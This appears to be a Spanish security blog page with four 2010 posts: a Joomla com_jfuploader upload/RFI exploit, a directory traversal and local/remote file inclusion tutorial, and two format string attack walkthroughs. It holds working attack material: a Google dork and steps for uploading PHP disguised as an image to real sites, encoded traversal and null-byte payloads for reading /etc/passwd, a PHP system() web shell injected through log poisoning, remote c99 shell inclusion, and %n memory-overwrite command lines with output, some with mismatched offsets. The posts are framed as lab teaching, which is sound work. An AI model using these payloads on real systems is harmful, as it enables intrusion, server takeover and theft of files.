¡Tu mensaje de bienvenida, twitter o publicidad aquí!

| Suscríbete vía RSS

29 oct. 2010

Vulnerabilidad RFI en el com_jfuploader de Joomla

| 0 comentarios |

Al parecer una nueva vulnerabilidad RFI ha sido descubierta en el componente com_jfupload del CMS Joomla, dicho componente es el encargado de permitirnos la carga remota de ficheros.


Un atacante podría tratar de burlar el sistema e incrustar código malicioso para que fuese interpretado al acceder al recurso desde la parte del servidor.


Un google dorks que funcione y nos arroje resultados válidos podría ser: inurl:option=com_jfuploader


Y los pasos a seguir para llevar a cabo la explotación de la vulnerabilidad:

  • Regístrate en el sistema.
  • Comprueba si se puede acceder a la siguiente url: http://xxx/index.php?option=com_jfuploader&Itemid=[Itemid]
  • Descarga una imagen cualquiera.
  • Abre la imagen con el Notepad++ y sin tocar nada del código relacionado con esta, inserta a partir de la última línea todo el código PHP que quieras que se ejecute.
  • Guarda el fichero con la extensión .php.gif
  • Sube el fichero desde la URL indicada en el paso 2 y accede al recurso desde la siguiente dirección: http://xxx/files/TuNombreDeUsuario/NombreFichero.gif.php



Algunos ejemplos:



Mostramos el /etc/passwd, a través del siguiente código PHP.


Y si no quedas satisfecho, aquí no te devolvemos el dinero, pero te avisamos de que también puedes cargar una shell:

13 oct. 2010

Directory Path Traversal

| 0 comentarios |

Introducción



El objetivo de un Directory Path Traversal Attack es el de conseguir acceso a ficheros o directorios que se encuentran fuera del directorio web raíz y en los que en condiciones normales un usuario sin privilegios no tendría acceso alguno.

Normalmente una aplicación web tiene restringido el acceso a usuarios no autorizados a la porción del sistema conocia como los directorios "CGI root" o "Web Document Root". Albergando ahí todos los recursos accesibles por el usuario y necesarios para hacer funcional el portal.

Para acceder a ficheros o ejecutar comandos en cualquier parte del sistema un atacante hará uso de secuencias de caracteres especiales, comúnmente conocidas como "dot-dot-slash" o "../".

Esto permitiría a un usuario malintencionado comprometer el sistema y navegar por toda la estructura de directorios de este, ganando el acceso a ficheros del sistema, códigos fuente, y cualquier cosa que se nos ocurra.

Los ataques de DPT suelen venir acompañados de la mano de otras dos conocidas vulnerabilidades:

  • Local File Inclusion (LFI) Permite la inclusión de ficheros locales donde se encuentre la web vulnerable.
  • Remote File Inclusion (RFI) A diferencia del LFI, permite la inclusión de ficheros que se encuentran en cualquier otro servidor.


¿Qué implicaciones tiene esta vulnerabilidad?




Cuando hacemos uso de funciones como include(), include_once(), require(), require_once() y no ofrecemos ningún tipo de validación ante posibles valores dados por un usuario, se puede provocar que las peticiones procesadas por el servidor web permitan a un atacante:

  • Ejecutar código remoto.
  • Tomar control del equipo vulnerable.


Montando pruebas de caja negra



A la hora de probar si un sistema es vulnerable o no, es recomendable realizar dos tipos de pruebas:

  • Vectores de enumeración Consiste en una evaluación sistemática de cada vector de ataque.
  • Técnicas de testing Evaluación metódica de cada técnica de ataque usada para explotar la vulnerabilidad.


Vectores de enumeración



Para determinar qué partes de la aplicación son vulnerables, el atacante necesita comprobar todas las vías que acepten datos del usuario. Esto abarca desde consultas HTTP, GET, POST hasta formularios para subidas de ficheros. Algunas cuestiones que pueden ayudar a asentarnos en esta fase:

  • ¿Se usan parámetros relacionados con peticiones a ficheros?
  • ¿Se usan extensiones de ficheros poco usuales?
  • ¿Hay nombre de variables poco normales?


Ejemplos:

  • http://localhost/lab/perfil.php?fichero=0xroot.html
  • http://localhost/lab/index.php?fichero=passwd
  • http://localhost/lab/main.cgi?home=index.html


Técnicas de testing



El siguiente objetivo es analizar las funciones de validación para los datos de entrada en la aplicación web. Tomando como ejemplo el código anterior, nuestra página dinámica dpt-example1.php, carga un contenido estático a través de un fichero. Un atacante puede aprovechar esto para insertar una cadena como "../../../etc/passwd" y volcar el contenido del fichero de claves de un sistema Unix.

Para conseguir explotar esta vulnerabilidad con éxito, el atacante necesita conocer la arquitectura del sistema que alberga la aplicación web, de nada sirve intentar cargar el fichero /etc/passwd si nos encontramos bajo un IIS Server en una plataforma Windows.

En determinadas ocasiones un atacante necesita hacer frente a filtros impuestos por el usuario programador para evitar la carga de ficheros con acceso restringido (lo que comentábamos de usar "../" o el byte nulo que veremos más adelante). Al usar cada sistema operativo un caracter separador diferente es importante conocer cómo trabaja a nivel interno cada uno.

  • Sistemas Unix

  • Directorio raíz: /
    Carácter Separador: /

  • Sistemas Windows

  • Directorio raíz: Letra de Unidad:\
    Carácter Separado: \ ó /
    Operadores mayor y menor que: >, < Comillas dobles: "./" , ".\"


Ejemplos:
  • fichero.txt
  • fichero.txt...
  • fichero.txt
  • fichero.txt""""
  • fichero.txt<<<><><><
  • fichero.txt/./././


A veces podemos encontrarnos con la necesidad de saltarnos filtros restrictivos, para ello podemos utilizar la codificación URL-Encode:

  • %2e%2e%2 representa ../
  • %2e%2e/ representa ../
  • ..%2f representa ../
  • %2e%2e%5c representa ..\
  • %2e%2e\ representa ..\
  • ..%5c representa ..\
  • %252e%252e%255c representa ..\
  • ..%255c representa ..\


Otras codificaciones que podemos usar son UTF-8 o incluso la representación hexadecimal de los caracteres.

El entorno de pruebas



Para demostrar lo nocivo que puede llegar a ser este tipo de vulnerabilidad vamos a montarnos un entorno de pruebas en un sistema real. Nuestro laboratorio va a componerse de los siguientes ficheros:



Si hacemos una llamada sin pasar ningún argumento a "recurso" la URL introducida sería:

http://localhost/lab/dpt-example1.php


Obteniendo el mensaje de "No se ha especificado el recurso". Pero qué sucedería si decidimos hacer la llamada al fichero index.php:

http://localhost/lab/dpt-example1.php?recurso=index.php


Obtenemos el mensaje esperado. Pero puede darse el caso de que el usuario que anda navegando por nuestra página web, sea un poco más perspicaz y quiera cargar el fichero /etc/passwd. Si observamos el código de nuestra aplicación vulnerable, nosotros no hemos realizado ningún tipo de validación previa a los valores que introduzca el usuario. Si cargamos:

http://localhost/lab/dpt-example1.php?recurso=/etc/passwd


Lo que obtenemos es:



Otra opción sería cargar una shell remota y ejecutar una vulnerabilidad de tipo RFI:

http://localhost/lab/directory-path-traversal.php?recurso=http://127.0.0.1/lab/shells/c99.txt%00


Usando el byte NULL



El byte NULL es un byte especial utilizado por nuestro equipo y es el equivalente a la representación binaria de 0000 0000 en hexadecimal 0x00. El uso de este carácter especial es cómo terminador de cadenas. Supongamos que tenemos el siguiente código (dpt-example3.php)

Si nosotros tratamos de abrir el fichero index.php lo haremos a través de la URL:

http://localhost/lab/dpt-example3.php?recurso=index


Automáticamente nuestro código concatenará al valor pasado el string ".php", esto nos supone un problema si quieremos abrir el fichero "/etc/passwd" o alguno otro similar porque obtendremos el siguiente error:


Warning: require(/etc/passwd.php) [function.require]: failed to open stream: No existe el fichero ó directorio in /opt/lampp/htdocs/lab/directory-path-traversal.php on line 3


Fatal error: require() [function.require]: Failed opening required '/etc/passwd.php' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/lab/dpt-example3.php on line 3


El problema viene debido a que no encuentra en el sistema un fichero llamado "/etc/passwd.php", para saltarnos esta restricción haremos que todos los datos que introduzcamos lleven al final el carácter especial %00, así para
cargar el fichero /etc/passwd la URL quedará de la siguiente manera:

http://localhost/lab/dpt-example3.php?recurso=/etc/passwd%00


Con lo que obtendremos:



Log Poisoning




La técnica de Log Poisoning nos permite inyectar código en un fichero de log y ejecutarlo normalmente vía LFI. En nuestro caso suponemos que hemos instalado un servidor web bajo Apache, y por defecto tenemos dos ficheros de registros llamados access_log y error_log. Si conseguimos manipular su contenido e incluir código PHP, podremos ejecutar llamadas a funciones que nos permitan obtener control del equipo.

Antes de nada, veamos una breve recopilación de estos ficheros de log, para saber dónde podemos encontrarlos:

  • /etc/httpd/logs/access.log
  • /etc/httpd/logs/access_log
  • /etc/httpd/logs/error.log
  • /etc/httpd/logs/error_log
  • /opt/lampp/logs/access_log
  • /opt/lampp/logs/error_log
  • /usr/local/apache/log
  • /usr/local/apache/logs
  • /usr/local/apache/logs/access.log
  • /var/log/httpd/access_log
  • /var/log/httpd/error_log
  • /var/log/httpsd/ssl.access_log
  • /var/log/httpsd/ssl_log
  • /var/log/thttpd_log
  • C:\Program Files\Apache Group\Apache\logs\access.log
  • C:\Program Files\Apache Group\Apache\logs\error.log
  • C:\xampp\apache\logs\access.log
  • C:\xampp\apache\logs\error.log
  • Y un largo etcétera...


Una vez decidido el fichero sobre el que actuaremos, tenemos dos formas posibles de actuar:

  • Accediendo al fichero error_log


  • Suponiendo que hemos encontrado una vulnerabilidad LFI tratamos de acceder a la siguiente URL inexistente que será almacenada en nuestro fichero de log:

    http://localhost/%3C%3FPHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])%3F%3E


    Si os dais cuenta se han sustituid los caracteres por su representación hexadecimal %3C%3F y %3F%3E respectivamente, dado que si tratamos de colar la url como tal, el código PHP no será guardado correctamente en el servidor, quedando esto:

    [Wed Oct 13 17:08:24 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/<


    Sin embargo utilizando ese pequeño truco, conseguimos saltarnos el filtrado y se nos guardará la siguiente cadena en el fichero de log:

    [Wed Oct 13 17:03:51 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/


    Si ahora acudimos a nuestro código vulnerable y ejecutamos la siguiente URL:

    http://localhost/lab/dpt-example2.php?recurso=/opt/lampp/logs/error_log%00&x=/&y=ls%20-l


    Obtendremos la ejecución del comando ls -l



  • Accediendo al fichero access_log


  • Más complicado que el ejemplo anterior, consiste en inyectar directamente el código php en el User-Agent del navegador, para ello vamos a utilizar el plugin "User Agent Switcher" para incrustar nuestro script en PHP en el User-Agent y nos apoyaremos en el plugin "Live HTTP Header" para ver el contenido de las cabeceras que sean enviadas por nuestro navegador.

    Deberá quedarnos de la siguiente manera:



    Haciendo una petición a la aplicación web vulnerable con la siguiente URL:

    http://localhost/lab/dpt-example2.php?recurso=


    Si observamos el log "access_log" se ha agregado una nueva entrada con el siguiente contenido:

    127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556

    Si accedemos mediante la siguiente URL:

    http://localhost/lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log%00


    Y ejecutamos el plugin "Live HTTP Headers" observaremos como la cabecera que se envía tiene la siguiente forma:



    Nuevamente hemos conseguido inyectar e interpretar código PHP satisfactoriamente y el contenido de nuestro fichero acces_log quedará de la siguiente forma:

    127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556

    127.0.0.1 - - [13/Oct/2010:18:23:10 +0200] "GET /lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log%00 HTTP/1.1" 200 320

7 oct. 2010

Introducción a Format String Attack II

| 1 comentarios |

Seguimos con la serie de entradas dedicadas a la técnica Format String Attack


Advertencia


Para realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compilador gcc, concretamente la 3.4, debido a que la última versión no respetaba los flag para evitar las protecciones de pila.

Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag -fno-stack-check.

Escribiendo direcciones de memoria

Al igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n podemos escribir directamente en ellas.

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Correcto:
BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Incorrecto:
BBBB.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.42424242
(-) Valor @ 0x08049648 = 50 0x00000032


La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su contenido:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029


El valor de la variable dependerá del número de formatos que insertemos antes de %n:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 60 0x0000003c

Gracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:

  • Escribiremos 0xde000000 en la dirección 0x08049648
  • Escribiremos 0x00ad0000 en la dirección 0x08049649
  • Escribiremos 0x0000be00 en la dirección 0x0804964a
  • Escribiremos 0x000000ef en la dirección 0x0804964b

Pero como bien sabemos, una pila se caracteríza por una estructura LIFO (Last Input First Output) por tanto, la representación interna en memoria deberá ser al revés. El primer valor de la variable deberá ser 0xef, seguido de 0xbe, 0xad, 0xde y las respectivas direcciones a ocupar serán 0x08049648, 0x08049649, 0x0804964a, 0x0804964b.

Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:
  • Primero: 0xef - [Valor de la variable] + [Valor del offset]
  • Segundo: 0xbe - 0xef
  • Tercero: 0xad - 0xbe
  • Cuarto: 0xde - 0xad

Comencemos por escribir 0xef en la dirección 0x08049648:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029

La operación 0xef - 41:
>>> 0xef - 41
198

Y de offset sumamos 1 (esto puede variar en cada equipo):
>>> 198 + 1
199

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Incorrecto:
H�.bffff6d0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef

Necesitamos otro argumento más para que el contador de byte se incremente y nos permita obtener 0xbe. Este argumento puede ser cualquiera, sólo debe cumplir la condición de tener 4 bytes y colocarse justo en la primera dirección de memoria arbitraría posterior a 0x08049648. Y como todo esto debe de ir en el format string que queremos inyectar es fácilmente controlable, así que vamos a buscar una palabra de 4 bytes como "HOLA" y escribamos nuestro format string:

"\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"

Escribamos ahora 0xef en la primera dirección del búffer:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 67 0x00000043


Obtenemos como valor para la variable 67:
>>> 0xef-67
172

A la resta le sumamos el offset adecuado:
>>> 172+1
173

Y obtenemos que el valor que debemos aplicar es 173:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef

Ahora escribamos 0xbe en la segunda dirección del búffer:
>>> 0xbe - 0xef
-49

El valor -49 es negativo y no puede ser insertado en la pila, como solución podemos usar el truco del bit menos significativo y obtener así el valor correcto al restar 0x1be - 0xef:
>>> 0x1be - 0xef
207

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%205x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%207x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 414c4f48.
(-) Valor @ 0x08049648 = 114415 0x0001beef

Ahora escribamos 0xad en la tercera dirección del búffer:

>>> 0xad-0xbe
-17

Volvemos a encontrarnos con el mismo error de antes, para resolverlo, nuevamente usamos el bit menos significativo, y restamos 0x1ad-0xbe:

>>> 0x1ad-0xbe
239

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%239x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = 44941039 0x02adbeef


Por último escribamos 0xde en la cuarta dirección del búffer:

>>> 0xde-0xad
49

Como este valor sí resulta positivo, podemos inyectarlo automáticamente:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6a0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef

Si observamos el valor que tenía nuestra variable al principio, veremos cómo ha cambiado:

(-) Valor @ 0x08049648 = 50 0x00000032
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef

Y hasta aquí cubrimos con la entrada de hoy, para la siguiente trataré de explicar algunas técnicas como DPA(Direct Parameter Access) para acceder directamente a la posición deseada en la memoria, sobreescribir las secciones .dtors y veremos cómo todo esto puede simplificarse mediante una herramienta que se encargue de construirnos automáticamente la inyección.

3 oct. 2010

Introducción a Format String Attack

| 1 comentarios |

Serie de entradas que servirán de ejemplo para explicar los Format String Attack.


Introducción

Los Format String son simples cadenas, caracterizadas por el formato que se les aplica. Si has programado anteriormente en cualquier lenguaje estarás familiarizado con la función printf().

Dicha función toma como primer parámetro la cadena a mostrar, y una serie de variables que permiten formatear la salida por stdout.

Los formatos más comunes que se pueden utilizar son:
  • %d Formato de enteros.
  • %i Formato de enteros (igual que %d).
  • %f Formato de punto flotante.
  • %u Formato sin signo.
  • %x Formato hexadecimal.
  • %p Muestra el correspondiente valor del puntero.
  • %c Formato de carácter.

Format String Vulnerability


La vulnerabilidad viene por el mal uso que se la da a la función printf, cuando un programador la utiliza como printf(cadena) en lugar de printf("%s", cadena). Aunque el resultado devuelto es el mismo y funciona correctamente.

La omisión del parámetro de formateado deriva en un bug que podría ser aprovechado por un atacante para provocar la ejecución de código malicioso.

Veamos un ejemplo
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example prueba.
Correcto: prueba.
Incorrecto: prueba.
(-) Valor @ 0x0804a024 = 50 0x00000032


Funciona perfectamente, y el programador en ningún momento advierte ningún fallo, pero si hacemos la misma prueba pasándole un format string como parámetro concatenado a la cadena obtenemos lo siguiente:

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x

Correcto: BBBB%x
Incorrecto: BBBBbfa675ee
(-) Valor @ 0x0804a024 = 50 0x00000032


La familia de funciones format


Hay una serie de funciones de formato definidas en el ANSI C, algunas utilizadas para cubrir necesidades básicas y otras más complejas basadas en estas primeras, que si bien no entran dentro del estándar, si están disponibles para su uso.

Funciones básicas:
  • printf Imprime el flujo 'stdout'.
  • fprintf Imprime el flujo de un fichero.
  • sprintf Imprime en una cadena.
  • snprintf Imprime en una cadena comprobando la longitud.
  • vprintf Imprime en 'stdout' desde una estructura va_arg.
  • vfprintf Imprime en un fichero desde una estructura va_arg.
  • vsprintf Imprime en una cadena desde una estructura va_arg.
  • vsnprintf Imprime en una cadena comprobando la longitud desde una estructura va_arg.
Otras:
  • syslog, verr*, err*, vwarn*, warn*, setproctile


La pila y su funcionamiento


El comportamiento de la función de formato es controlado por el format string. Recuperando los parámetros solicitados desde la pila.

Así:

printf("Número %d sin dirección, número %d con dirección: %08x\n", i, a, &a);


El aspecto de la pila para la instrucción anterior es el siguiente:
Donde:
  • A Dirección de la cadena.
  • i Valor de la variable i.
  • a Valor de la variable a.
  • &a Dirección de la variable a.


La función de formato parseará la cadena A, leyendo carácter a carácter y copiándolo en la salida mientras que este no sea '%'. En el momento de encontrarlo el carácter a continuación de '%', especificará el tipo de parámetro a evaluar.

La cadena '%%' se comporta de forma especial, y permite imprimir a la salida el carácter '%'. Los otros parámetros se relacionan con el resto de datos alojados en la pila.


Leyendo direcciones de memoria



Cuando usamos el formato %x estamos obligando a que nos muestre por stdout la representación de una palabra de 4-byte en la pila.

Si queremos conocer la dirección que apunta al string que hemos introducido, deberemos introducir varios formatos de cadena hasta obtener el valor hexadecimal de esta.


sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x
Incorrecto:
BBBBbffb85e60000
(-) Valor @ 0x0804a024 = 50 0x00000032



Probando un poco más


sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x%x%x%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x%x%x%x%x%x%x%x
Incorrecto:
BBBBbfd6f5d80000b78cc0000bfd6f44400042424242
(-) Valor @ 0x0804a024 = 50 0x00000032


Los cuatro bytes de 0x42 indican que el duodécimo parámetro de formato está leyendo del principio de la cadena de formato para obtener sus datos


Pero si una dirección de memoria válida es usada, este proceso se puede usar para leer un string que se encuentre en esa dirección.

Como ejemplo vamos a utilizar la función getenv() de C, que nos devuelve un string con el contenido de la variable de entorno que le hemos pasado como parámetro. Nosotros vamos a servirnos de esto para conocer la dirección de memoria donde se encuentra, y así demostrar cómo leer los datos que se encuentran en una posición válida.


El código de uso para getenv() es el siguiente


sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ gcc getenvaddr.c -o getenvaddr


Vamos a localizar la dirección de la variable LOGNAME que contiene el usuario con el que nos logueamos en la máquina.


sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ echo $LOGNAME
sebas
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./getenvaddr LOGNAME
LOGNAME está localizada en 0xbfa07e44


Ahora sabemos que la cadena "sebas" está almacenada en la dirección 0xbfa07e44. Usemos el format string %x y %s con localización exacta para obtener el valor.


sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%s

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%s
Incorrecto:
D~��bf92d5d60000b780d0000bf92c874000->sebas
(-) Valor @ 0x0804a024 = 50 0x00000032



sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%x

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%x
Incorrecto:
D~��bf9615d60000b77530000bf95fd74000->bfa07e44
(-) Valor @ 0x0804a024 = 50 0x00000032


En la siguiente entrada veremos cómo escribir en direcciones de memoria y algunos trucos para ello